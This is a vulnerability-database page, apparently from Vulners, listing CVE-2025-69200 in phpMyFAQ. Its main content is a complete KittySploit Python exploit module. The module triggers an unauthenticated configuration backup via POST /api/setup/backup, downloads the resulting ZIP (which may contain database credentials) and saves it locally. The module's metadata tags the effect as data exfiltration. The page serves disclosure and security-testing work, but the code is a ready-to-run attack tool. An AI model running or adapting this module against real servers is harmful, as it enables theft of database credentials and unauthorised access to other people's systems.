Lucene search
+L

phpMyFAQ - Unauth Config Backup Download (CVE-2025-69200)

🗓️ 10 Aug 2026 06:19:08Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Unauthenticated configuration backup download in phpMyFAQ via POST /api/setup/backup.

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2025-69200
29 Dec 202516:22
–circl
cnnvd
CNNVD
phpMyFAQ 安全漏洞
29 Dec 202500:00
–cnnvd
cve
CVE
CVE-2025-69200
29 Dec 202515:24
–cve
cvelist
Cvelist
CVE-2025-69200 phpMyFAQ has unauthenticated config backup download via /api/setup/backup
29 Dec 202515:24
–cvelist
euvd
EUVD
EUVD-2025-205600
30 Dec 202515:31
–euvd
github
Github Security Blog
phpMyFAQ has unauthenticated config backup download via /api/setup/backup
30 Dec 202515:31
–github
kittysploit
KittySploit
phpMyFAQ - Unauth Config Backup Detection (CVE-2025-69200)
10 Aug 202606:19
–kittysploit
mend
Mend
CVE-2025-69200
29 Dec 202515:24
–mend
nuclei
Nuclei
phpMyFAQ - Configuration Backup Disclosure
14 Oct 202602:05
–nuclei
nvd
NVD
CVE-2025-69200
29 Dec 202516:15
–nvd
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""phpMyFAQ unauthenticated config backup download (CVE-2025-69200)."""

import json
import re
from urllib.parse import urlparse

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Auxiliary, Http_client):
    __info__ = {
        'name': 'phpMyFAQ - Unauth Config Backup Download (CVE-2025-69200)',
        'description': (
            'Triggers POST /api/setup/backup without authentication and downloads the '
            'generated configuration ZIP (may contain database.php credentials) — '
            'CVE-2025-69200.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2025-69200'],
        'platform': Platform.MULTI,
        'references': [
            'https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-9cg9-4h4f-j6fg',
            'https://nvd.nist.gov/vuln/detail/CVE-2025-69200',
        ],
        'tags': [
            'phpmyfaq', 'backup', 'exposure', 'credentials', 'unauth', 'cve-2025-69200',
        ],
        'agent': {
            'risk': 'intrusive',
            'effects': ['data_exfiltration'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['risk_signals'],
            'cost': 1.2,
            'noise': 0.5,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [{'capability': 'admin_surface', 'from_detail': ''}],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/http/cve_2025_69200_detect'],
            },
        },
    }

    base_path = OptString('', 'Optional phpMyFAQ base path prefix', required=False)
    version_string = OptString(
        '4.0.15',
        'Installed-version string sent as POST body',
        required=False,
    )
    output_file = OptString(
        'phpmyfaq-config-backup.zip',
        'Local path to write the downloaded ZIP',
        required=False,
    )

    def _prefix(self) -> str:
        base = str(self.base_path or '').strip()
        if not base or base == '/':
            return ''
        if not base.startswith('/'):
            base = '/' + base
        return base.rstrip('/')

    def _to_path(self, backup_url: str) -> str:
        backup_url = str(backup_url or '').strip()
        if not backup_url:
            return ''
        if backup_url.startswith('http://') or backup_url.startswith('https://'):
            parsed = urlparse(backup_url)
            return parsed.path or ''
        if not backup_url.startswith('/'):
            return f'{self._prefix()}/{backup_url.lstrip("/")}'
        return backup_url

    def run(self):
        api = f'{self._prefix()}/api/setup/backup'
        print_status(f'Triggering backup via POST {api} ...')
        r = self.http_request(
            method='POST',
            path=api,
            data=str(self.version_string or '4.0.15'),
            headers={'Content-Type': 'text/plain'},
            allow_redirects=False,
        )
        if not r or r.status_code != 200:
            print_error('Backup endpoint not accessible')
            return False

        body = r.text or ''
        backup = ''
        try:
            data = json.loads(body)
            backup = str(
                data.get('backupFile')
                or data.get('backup')
                or data.get('url')
                or ''
            )
        except Exception:
            m = re.search(
                r'(https?://[^"\s]+phpmyfaq-config-backup[^"\s]+\.zip|'
                r'/[^"\s]*content/core/config/[^"\s]+\.zip|'
                r'phpmyfaq-config-backup[^"\s]+\.zip)',
                body,
            )
            if m:
                backup = m.group(1)

        path = self._to_path(backup)
        if not path:
            print_error(f'No backupFile in response: {body[:300]}')
            return False

        print_status(f'Downloading {path} ...')
        dl = self.http_request(method='GET', path=path, allow_redirects=False)
        if not dl or dl.status_code != 200:
            print_error('Failed to download backup ZIP')
            return False
        data = dl.content or b''
        if not data.startswith(b'PK'):
            print_warning('Response does not look like a ZIP archive')
        out = str(self.output_file or 'phpmyfaq-config-backup.zip').strip()
        with open(out, 'wb') as fh:
            fh.write(data)
        print_success(f'Saved {len(data)} bytes to {out}')
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Aug 2026 06:19Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.17.5
EPSS0.02141
SSVC
3